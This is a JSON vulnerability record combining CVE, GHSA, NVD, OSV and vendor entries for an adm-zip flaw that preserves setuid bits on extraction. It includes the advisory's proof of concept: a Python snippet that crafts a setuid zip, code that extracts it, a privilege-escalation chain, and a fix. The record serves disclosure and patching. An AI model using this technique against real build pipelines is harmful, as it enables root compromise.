{"id":"CVE-2026-102282","aliases":["CLSA-2026-1790755853","CLSA-2026-1790760941","CLSA-2026-1790854753","CLSA-2026-1790856818","CLSA-2026-1790864771","CLSA-2026-1790868324","EUVD-2026-92493","GHSA-j5f4-cc29-5x44","ROOT-APP-NPM-CVE-2026-102282"],"status":"published","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00199,"percentile":0.09895,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-732"],"published":"2026-09-29T18:24:57Z","modified":"2026-11-06T09:15:03Z","exploits":[{"source":"pocgithub","id":"x86byte/adm-zip_LPE-PoC","title":"x86byte/adm-zip_LPE-PoC","date":"2026-09-23","url":"https://github.com/x86byte/adm-zip_LPE-PoC"},{"source":"pocgithub","id":"Ahmed-Elmahgob/POC-CVE-2026-102282","title":"Ahmed-Elmahgob/POC-CVE-2026-102282","date":"2026-10-02","url":"https://github.com/Ahmed-Elmahgob/POC-CVE-2026-102282"}],"fixes":[{"ecosystem":"npm","package":"adm-zip","fixed_in":["0.6.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"adm-zip","fixed_in":["0.5.18-tuxcare.5","0.6.0-tuxcare.4","0.5.17-tuxcare.3","0.5.16-tuxcare.3","0.5.12-tuxcare.2","0.5.10-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"adm-zip","fixed_in":["0.6.0-aikido.3","0.5.10-aikido.3","0.5.10-aikido.4","0.5.10-aikido.5","0.5.9-aikido.2","0.5.18-aikido.3","0.5.9-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/adm-zip","fixed_in":["0.6.0-root.io.3","0.5.10-root.io.3","0.5.10-root.io.4","0.5.10-root.io.5","0.5.9-root.io.2","0.5.18-root.io.3","0.5.9-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.0"},{"fixed":"0.6.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.18-tuxcare.0"},{"fixed":"0.5.18-tuxcare.5"}]}],"versions":["0.5.18","0.5.18-tuxcare.1","0.5.18-tuxcare.2","0.5.18-tuxcare.3","0.5.18-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0-tuxcare.0"},{"fixed":"0.6.0-tuxcare.4"}]}],"versions":["0.6.0","0.6.0-tuxcare.1","0.6.0-tuxcare.2","0.6.0-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.17-tuxcare.0"},{"fixed":"0.5.17-tuxcare.3"}]}],"versions":["0.5.17","0.5.17-tuxcare.1","0.5.17-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.16-tuxcare.0"},{"fixed":"0.5.16-tuxcare.3"}]}],"versions":["0.5.16","0.5.16-tuxcare.1","0.5.16-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.12-tuxcare.0"},{"fixed":"0.5.12-tuxcare.2"}]}],"versions":["0.5.12","0.5.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.10-tuxcare.0"},{"fixed":"0.5.10-tuxcare.2"}]}],"versions":["0.5.10","0.5.10-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"adm-zip","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0-aikido.3"},{"fixed":"0.5.10-aikido.3"},{"fixed":"0.5.10-aikido.4"},{"fixed":"0.5.10-aikido.5"},{"fixed":"0.5.9-aikido.2"},{"fixed":"0.5.18-aikido.3"},{"fixed":"0.5.9-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/adm-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0-root.io.3"},{"fixed":"0.5.10-root.io.3"},{"fixed":"0.5.10-root.io.4"},{"fixed":"0.5.10-root.io.5"},{"fixed":"0.5.9-root.io.2"},{"fixed":"0.5.18-root.io.3"},{"fixed":"0.5.9-root.io.3"}]}]}],"products":[{"vendor":"cthackers","product":"adm-zip"},{"vendor":"node.js","product":"adm-zip"}],"references":[{"url":"https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-j5f4-cc29-5x44"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102282.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102282","tags":["advisory"]},{"url":"https://github.com/cthackers/adm-zip","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-102282","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","status":"published","published":"2026-10-05T17:00:00.25Z","modified":"2026-10-07T20:53:52.156Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-732"],"updated_at":"2026-11-02T13:38:54.394896Z"}],"euvd":[{"id":"EUVD-2026-92493","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","status":"published","published":"2026-10-05T17:00:00Z","modified":"2026-10-07T20:53:52Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:27:33.555595Z"}],"ghsa":[{"id":"GHSA-j5f4-cc29-5x44","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n    return (_attr || 0) \u003e\u003e 16 \u0026 0xfff;\n}\n```\n\n`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `\u0026 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n   realistic attacker path — no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo('pysuidbin')\nzi.external_attr = 0o4755 \u003c\u003c 16\nwith zipfile.ZipFile('evil.zip', 'w') as z:\n    z.writestr(zi, '#!/bin/sh\\nid\\n')\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require('adm-zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n\nconst fs = require('fs');\nconst st = fs.statSync('/tmp/out/pysuidbin');\nconsole.log((st.mode \u0026 0o7777).toString(8));\n// =\u003e 4755   (setuid bit set — the file is root-owned if the extractor runs as root)\n```\n\n3. Control — same zip, default extraction (`keepOriginalPermission=false`):\n   mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip's own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile('suidbin', Buffer.from('#!/bin/sh\\nid\\n'), '', 0o4755);\nzip.writeZip('evil.zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n// same result: stat mode \u0026 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by  `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n    return (_attr \u003e\u003e 16) \u0026 0o777;\n}\n```","status":"published","published":"2026-09-29T18:24:57Z","modified":"2026-09-29T18:25:04Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-732"],"updated_at":"2026-11-02T14:41:22.654187Z"}],"nvd":[{"id":"CVE-2026-102282","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","status":"published","published":"2026-10-05T17:17:08.11Z","modified":"2026-10-07T21:17:07.297Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-732"],"updated_at":"2026-11-02T14:12:53.75133Z"}],"osv":[{"id":"CVE-2026-102282","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","status":"published","published":"2026-10-05T17:00:00.25Z","modified":"2026-10-28T02:30:53.021257299Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-732"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-j5f4-cc29-5x44","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n    return (_attr || 0) \u003e\u003e 16 \u0026 0xfff;\n}\n```\n\n`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `\u0026 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n   realistic attacker path — no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo('pysuidbin')\nzi.external_attr = 0o4755 \u003c\u003c 16\nwith zipfile.ZipFile('evil.zip', 'w') as z:\n    z.writestr(zi, '#!/bin/sh\\nid\\n')\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require('adm-zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n\nconst fs = require('fs');\nconst st = fs.statSync('/tmp/out/pysuidbin');\nconsole.log((st.mode \u0026 0o7777).toString(8));\n// =\u003e 4755   (setuid bit set — the file is root-owned if the extractor runs as root)\n```\n\n3. Control — same zip, default extraction (`keepOriginalPermission=false`):\n   mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip's own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile('suidbin', Buffer.from('#!/bin/sh\\nid\\n'), '', 0o4755);\nzip.writeZip('evil.zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n// same result: stat mode \u0026 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by  `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n    return (_attr \u003e\u003e 16) \u0026 0o777;\n}\n```","status":"published","published":"2026-09-29T18:24:57Z","modified":"2026-10-08T10:56:40.691028011Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-732"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"ROOT-APP-NPM-CVE-2026-102282","title":"CVE-2026-102282 in adm-zip - Patched by Root","description":"Root has patched CVE-2026-102282 in the adm-zip package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-06T08:25:35Z","modified":"2026-11-06T09:15:03.20477167Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-06T09:36:49.371047Z"},{"id":"CLSA-2026-1790755853","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.18-tuxcare.5.","status":"published","published":"2026-09-30T08:10:53Z","modified":"2026-10-15T09:47:53.476559852Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790760941","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.6.0-tuxcare.4.","status":"published","published":"2026-09-30T09:35:41Z","modified":"2026-10-15T09:47:57.47085371Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790854753","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.17-tuxcare.3.","status":"published","published":"2026-10-01T11:39:13Z","modified":"2026-10-15T09:47:57.761689497Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790856818","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.16-tuxcare.3.","status":"published","published":"2026-10-01T12:13:38Z","modified":"2026-10-15T09:47:59.98396931Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790864771","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.12-tuxcare.2.","status":"published","published":"2026-10-01T14:26:11Z","modified":"2026-10-15T09:48:04.023291849Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790868324","title":"TuxCare security update for adm-zip (1 CVE)","description":"TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.10-tuxcare.2.","status":"published","published":"2026-10-01T15:25:24Z","modified":"2026-10-15T09:48:04.273359933Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}